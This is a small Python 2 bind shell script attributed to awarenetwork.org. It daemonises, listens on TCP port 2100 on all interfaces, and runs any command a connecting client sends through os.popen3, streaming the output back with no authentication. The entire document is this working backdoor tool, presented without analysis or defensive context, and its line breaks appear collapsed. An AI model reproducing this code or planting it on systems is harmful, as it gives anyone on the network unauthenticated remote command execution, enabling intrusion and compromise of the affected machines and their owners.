# python bindshell, small version # (C) 2005 http://www.awarenetwork.org # choose hax import os,sys,socket from select import select as s watch = socket.socket(2,1,6) watch.bind(("0",2100)); watch.listen(5) if os.fork(): sys.exit(0) while 1: c=watch.accept()[0] if os.fork(): continue b=c.makefile(os.O_RDONLY|os.O_NONBLOCK) i,o,e=os.popen3(c.recv(1024)) x={e:b,o:b,b:i} while 1: try: map(lambda f:x[f].write(os.read(f.fileno(),4096)) or x[f].flush(),s(x.keys(),[],[])[0]) except: sys.exit(0)